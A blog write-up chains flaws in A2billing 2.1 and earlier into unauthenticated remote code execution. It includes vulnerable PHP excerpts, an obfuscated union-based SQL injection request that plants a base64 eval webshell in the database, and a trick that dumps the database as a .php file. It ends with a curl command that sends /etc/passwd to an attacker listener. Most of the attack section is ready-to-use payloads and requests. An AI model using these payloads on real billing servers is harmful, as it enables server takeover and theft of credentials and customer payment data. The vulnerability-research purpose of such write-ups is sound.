A2billing <=2.1 RCE Exploit writeup

October 30, 2016


Wont waste a lot of time and DB space here , brief a2b intro + hardening can be found in the previous blog post
In the previous part we successfully exploited blind injection in a2b ,
In this part we will combine multi attack vectors in 1 exploit to gain shell access over a2billing box
So as usual , stay focus here for few mins , It wont take long

Unauthenticated backup dump

Vulnerable code

39$HD_Form = new FormHandler("cc_backup","Backup");
41$HD_Form -> FG_DEBUG = 0;
43if ($form_action!='ask-add')
44  check_demo_mode();
46if ($form_action == 'add'){
47        $backup_file = $path;
49    if (substr($backup_file,-3)=='.gz'){
50      // WE NEED TO GZIP
51      $backup_file = substr($backup_file,0,-3);
52      $do_gzip=1;
53    }
54        // Make the backup stuff here and redirect to success page
55        //mysqldump -all --databases mya2billing -ua2billinguser -pa2billing > /tmp/test.sql
56        //pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql mya2billing
58        if (DB_TYPE != 'postgres'){
59      $run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."' -p'".PASS."' > '{$backup_file}'";
60        }else{
61      $env_var="PGPASSWORD='".PASS."'";
62      putenv($env_var);
63      $run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}' ".DBNAME;
64        }
65  if ($FG_DEBUG == 1 ) echo $run_backup."<br>";
66  exec($run_backup,$output,$error);
67  if ($do_gzip){
68    // Compress file
69    $run_gzip = GZIP_EXE." '$backup_file'";
70    if ($FG_DEBUG == 1 ) echo $run_gzip."<br>";
71    exec($run_gzip,$output,$error_zip);
72  }
73  if($error==0 && $error_zip==0 ) $HD_Form -> FG_GO_LINK_AFTER_ACTION_ADD = 'A2B_entity_restore.php?id';
74  elseif($error!=0)$HD_Form -> FG_TEXT_ADITION_CONFIRMATION = gettext("An error occur when the system tried to backup of the database.")."<br>".gettext("Please check yours system settings for the backup section ");
75  else $HD_Form -> FG_TEXT_ADITION_CONFIRMATION = gettext("An error occur when the system tried to compress the backup realized.")."<br>".gettext("Please check yours system settings for the backup section ");
Line 58 is obviously a mysql dump command , taking filename arg from path GET or POST input
Line 65 is responsible for executing the backup process
File itself is useless , it’s .inc file ,
So our best bet is to find file in which FG_var_backup.inc is included and also does not require any authentication
After looking up we find

50include '../lib/admin.defines.php';
51include '../lib/admin.module.access.php';
52include '../lib/Form/Class.FormHandler.inc.php';
53include './form_data/FG_var_backup.inc';
54include '../lib/admin.smarty.php';
56if (!has_rights(ACX_MAINTENANCE)) {
57    Header("HTTP/1.0 401 Unauthorized");
58    Header("Location: PP_error.php?c=accessdenied");
59    die();
65if ($id != "" || !is_null($id)) {
66    $HD_Form->FG_EDITION_CLAUSE = str_replace("%id", "$id", $HD_Form->FG_EDITION_CLAUSE);
69if (!isset ($form_action))
70    $form_action = "list"; //ask-add
71if (!isset ($action))
72    $action = $form_action;
74$list = $HD_Form->perform_action($form_action);
79// #### HELP SECTION
80echo $CC_help_database_backup;
ops , an authentication check a line 40 , checking if user have admin rights and exit if not
Who care??
Our file is included at line 37 , before the authentication take place , mean we can just nail it like
and we will find the backup ready to download at
Why can not we escalate this this to direct RCE via exec()!!
You better check the previous blog post as the backup filename is quoted and there is noway to directly exploit this as RCE due to the a2b hardening

Exploiting this using POST wont work , as all form actions using POST request are checked against csrf attacks , mean It will fail
Demo Great , let’s move to the next part

Gaining shell access

As you remember , we have access over the backup filename + path
setting filename to 0x4148.php will work , but wont help a lot as it still sql file , no php stuff inside
so next step is to inject our evil php code inside the DB
then generate backup with .php extension , and using this backup to download webshell , making back connection … whatever you wanna do
The question now , How to inject evil php code inside the DB?
We are working with minimum privs , remember? Unauthenticated , No sign up , and even if authenticated with user role we wont be able to inject shit as php tags will be replaced with html alternative
Let’s get back to the previous blog post (Yes , Again)
in ckeckout_process file we will find this part of code

260$newkey = securitykey(EPAYMENT_TRANSACTION_KEY, $transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]);
261if ($newkey == $key) {
262    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----------- Transaction Key Verified ------------");
263} else {
264    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----NEW KEY =".$newkey." OLD KEY= ".$key." ------- Transaction Key Verification Failed:".$transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]." ------------\n");
265    exit();
267write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ---------- TRANSACTION INFO ------------\n".print_r($transaction_data,1));
268$payment_modules = new payment($transaction_data[0][4]);
269// load the before_process function from the payment modules
272$QUERY = "SELECT id, credit, lastname, firstname, address, city, state, country, zipcode, phone, email, fax, currency " .
273         "FROM cc_agent WHERE id = '".$transaction_data[0][1]."'";
274$resmax = $DBHandle_max -> Execute($QUERY);
275if ($resmax) {
276    $numrow = $resmax -> RecordCount();
277} else {
278    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SUCH CUSTOMER EXISTS, CUSTOMER ID = ".$transaction_data[0][1]);
279    exit(gettext("No Such Customer exists."));
281$customer_info = $resmax -> fetchRow();
282$nowDate = date("Y-m-d H:i:s");
284$pmodule = $transaction_data[0][4];
286$orderStatus = $payment_modules->get_OrderStatus();
288$Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " .
289            " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" .
290            " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
291            $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '".
292            $transaction_data[0][7]."',  $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."',  ".$amount_paid.",  '".$currCurrency."', '".
293            $currencyObject->get_value($currCurrency)."' )";
294$result = $DBHandle_max -> Execute($Query);
296//************************UPDATE THE CREDIT IN THE CARD***********************
297$id = $customer_info[0];
298if ($id > 0) {
299    $addcredit = $transaction_data[0][2];
300    $instance_table = new Table("cc_agent", "");
Yup , this part from line 287 , it’s inserting some data in the DB
we have access over $transaction_data array , mean we can inject our code at $transaction_data[0][7] , $transaction_data[0][6] , $transaction_data[0][5] , $transaction_data[0][1]
Just the normal union based injection query from the previous post , The query will proceed normally (Consider the key value 😉) and then the data will be inserted into the db

Let’s do this
Injection into $transaction_data[0][5] (for length limit purposes) Payload : <?php eval(base64_decode($_POST[nailit])); ?>


456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- –

Key input value :

9^456789111111 union select 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13– -^3^2

Key output value : 98346a2b29c131c78dc89b50894176eb

Final request :

transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb

Injection result Awesome , Redirection mean that everything went just fine (again back to the previous part If you did not get any of the previous steps)
Now let’s do our things , dump database with php extension

[[email protected] Public]# curl '' --insecure
[[email protected] Public]# cat 0x4148.php | grep nailit
INSERT INTO `cc_payments_agent` VALUES (295,2,' ','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28 10:57:10','2016-10-28 10:57:10','2016-10-28 10:57:10','usd','0.000000'),(296,2,' ','','balance','',1,'plugnpay','','<?php eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28 10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000');
[[email protected] Public]#

Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php
for instance system(‘x=$(cat /etc/passwd);curl -d “$x” http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listner


No matter how vulnerability risk is low , It doesn’t mean it can not be escalated
At the very least I wont be the one who will swim in the red sea in the midnight xD
Special thanks to Ahmed alaa for the continuous spiritual and technical support

Until next time, Ahmed

comments powered by Disqus